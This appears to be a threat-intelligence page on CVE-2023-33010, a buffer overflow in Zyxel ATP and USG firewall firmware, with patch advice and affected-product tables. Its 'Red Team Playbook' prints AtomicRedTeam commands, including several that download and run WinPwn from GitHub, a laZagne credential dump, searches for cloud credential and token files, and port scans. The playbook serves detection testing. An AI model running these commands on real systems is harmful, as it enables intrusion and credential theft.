CVE-2023-33010
Overview
This vulnerability is a buffer overflow caused by improper bounds checking in the ID processing function within Zyxel ATP series and related firmware versions. The flaw arises from inadequate validation of input length, allowing excessive data to overwrite memory buffers. The affected component is the ID processing routine embedded in multiple Zyxel firewall firmware versions spanning ATP, USG FLEX, USG20(W)-VPN, VPN, and ZyWALL/USG series.
Vulnerability Description
A buffer overflow vulnerability in the ID processing function in Zyxel ATP series firmware versions 4.32 through 5.36 Patch 1, USG FLEX series firmware versions 4.50 through 5.36 Patch 1, USG FLEX 50(W) firmware versions 4.25 through 5.36 Patch 1, USG20(W)-VPN firmware versions 4.25 through 5.36 Patch 1, VPN series firmware versions 4.30 through 5.36 Patch 1, ZyWALL/USG series firmware versions 4.25 through 4.73 Patch 1, could allow an unauthenticated attacker to cause denial-of-service (DoS) conditions and even a remote code execution on an affected device.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to cause denial-of-service conditions or execute arbitrary code on the affected device. This could lead to full system compromise, allowing the attacker to manipulate firewall operations, intercept or disrupt network traffic, and potentially pivot within the network. No user interaction or credentials are required, increasing the risk of widespread exploitation in exposed environments.
Solution
Zyxel has released security advisories addressing multiple buffer overflow vulnerabilities affecting ATP, USG FLEX, USG20(W)-VPN, VPN, and ZyWALL/USG series firmware. Users should upgrade affected devices to the latest firmware versions beyond 5.36 Patch 1 as specified in Zyxel's advisory at https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-buffer-overflow-vulnerabilities-of-firewalls. Follow the vendor's detailed patching instructions to mitigate this vulnerability effectively.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical buffer overflow vulnerability exists within the ID processing function of various Zyxel ATP and USG FLEX series firmware versions. This flaw arises from improper handling of input data, allowing an attacker to overwrite the memory of the affected device. Buffer overflow vulnerabilities are particularly dangerous as they can lead to arbitrary code execution, where an attacker could potentially gain control over the device, execute malicious code, or cause a denial-of-service (DoS) condition. The affected firmware versions span a wide range of Zyxel products, including ATP series devices and USG FLEX firewalls, making this vulnerability a significant concern for organizations relying on these solutions for network security.
Exploitation of this vulnerability can occur through multiple attack vectors, primarily involving unauthenticated remote access. An attacker could craft specially designed packets to exploit the buffer overflow during the ID processing phase, leading to memory corruption. Once the overflow is triggered, the attacker could execute arbitrary code, which may allow them to manipulate the device's functionality or disrupt its operations. Scenarios could include redirecting traffic, intercepting sensitive data, or even using the compromised device as a launchpad for further attacks within the network. Given the nature of the devices involved, the potential for widespread impact is substantial, especially in environments where these devices serve as critical security appliances.
The real-world implications of this vulnerability are profound. Organizations utilizing affected Zyxel products may face severe business risks, including data breaches, service interruptions, and reputational damage. The ability for an attacker to execute code remotely without authentication poses a significant threat, particularly for enterprises that rely on these devices to safeguard sensitive information and maintain operational continuity. A successful exploit could lead to unauthorized access to internal networks, exposing confidential data and potentially resulting in compliance violations, especially in regulated industries. Furthermore, the financial ramifications of a breach can be substantial, encompassing costs related to incident response, remediation, and potential legal liabilities.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest patched versions is crucial, as vendors typically release updates to address known vulnerabilities. Network monitoring tools can be employed to detect unusual traffic patterns or anomalies that may indicate an attempted exploit. Additionally, employing intrusion detection systems (IDS) can help identify and alert on potential attack signatures associated with buffer overflow attempts. Organizations should also conduct routine vulnerability assessments and penetration testing to identify and remediate potential weaknesses in their network defenses.
In conclusion, the buffer overflow vulnerability in Zyxel ATP and USG FLEX series firmware represents a significant risk to organizations utilizing these devices. The potential for remote code execution and denial-of-service conditions underscores the need for immediate action to secure affected systems. By prioritizing firmware updates, employing robust monitoring solutions, and conducting regular security assessments, organizations can mitigate the risks associated with this vulnerability and enhance their overall cybersecurity posture. The proactive management of such vulnerabilities is essential in today's threat landscape, where attackers continuously seek to exploit weaknesses in network defenses.
CSURFACE threat intelligence indicates a measurable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-33010, reflecting a growing likelihood of exploitation attempts targeting vulnerable Zyxel ATP and related devices. Although no new exploit techniques or ransomware group associations have emerged, the elevated EPSS score signals heightened attacker interest or preparatory activity in the wild. This uptick is significant because it suggests that threat actors may be prioritizing this critical buffer overflow vulnerability for potential denial-of-service or remote code execution attacks. Consequently, defenders should recognize an increased risk posture, as the vulnerability’s exploitation probability has risen, potentially leading to more frequent or sophisticated attack attempts. While the overall exploit landscape remains stable without confirmed active campaigns, the upward trend in predictive scoring underscores the need for vigilance in monitoring and threat detection efforts.
Affected Products (67)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zyxel | Atp100 Firmware | All |
cpe:2.3:o:zyxel:atp100_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp100 Firmware | 5.36 |
cpe:2.3:o:zyxel:atp100_firmware:5.36:-:*:*:*:*:*:*
|
|
|
Zyxel | Atp100 Firmware | 5.36 |
cpe:2.3:o:zyxel:atp100_firmware:5.36:patch1:*:*:*:*:*:*
|
|
|
Zyxel | Atp200 Firmware | All |
cpe:2.3:o:zyxel:atp200_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp200 Firmware | 5.36 |
cpe:2.3:o:zyxel:atp200_firmware:5.36:-:*:*:*:*:*:*
|
|
|
Zyxel | Atp200 Firmware | 5.36 |
cpe:2.3:o:zyxel:atp200_firmware:5.36:patch1:*:*:*:*:*:*
|
|
|
Zyxel | Atp500 Firmware | All |
cpe:2.3:o:zyxel:atp500_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp500 Firmware | 5.36 |
cpe:2.3:o:zyxel:atp500_firmware:5.36:-:*:*:*:*:*:*
|
|
|
Zyxel | Atp500 Firmware | 5.36 |
cpe:2.3:o:zyxel:atp500_firmware:5.36:patch1:*:*:*:*:*:*
|
|
|
Zyxel | Atp100w Firmware | All |
cpe:2.3:o:zyxel:atp100w_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp100w Firmware | 5.36 |
cpe:2.3:o:zyxel:atp100w_firmware:5.36:-:*:*:*:*:*:*
|
|
|
Zyxel | Atp100w Firmware | 5.36 |
cpe:2.3:o:zyxel:atp100w_firmware:5.36:patch1:*:*:*:*:*:*
|
|
|
Zyxel | Atp700 Firmware | All |
cpe:2.3:o:zyxel:atp700_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp700 Firmware | 5.36 |
cpe:2.3:o:zyxel:atp700_firmware:5.36:-:*:*:*:*:*:*
|
|
|
Zyxel | Atp700 Firmware | 5.36 |
cpe:2.3:o:zyxel:atp700_firmware:5.36:patch1:*:*:*:*:*:*
|
|
|
Zyxel | Atp800 Firmware | All |
cpe:2.3:o:zyxel:atp800_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp800 Firmware | 5.36 |
cpe:2.3:o:zyxel:atp800_firmware:5.36:-:*:*:*:*:*:*
|
|
|
Zyxel | Atp800 Firmware | 5.36 |
cpe:2.3:o:zyxel:atp800_firmware:5.36:patch1:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 100 Firmware | All |
cpe:2.3:o:zyxel:usg_flex_100_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg Flex 100 Firmware | 5.36 |
cpe:2.3:o:zyxel:usg_flex_100_firmware:5.36:-:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-33010 |
| zyxel.com |
GitHub CVE
|
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-buffer-overflow-vulnerabilities-of-firewalls |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-33010 |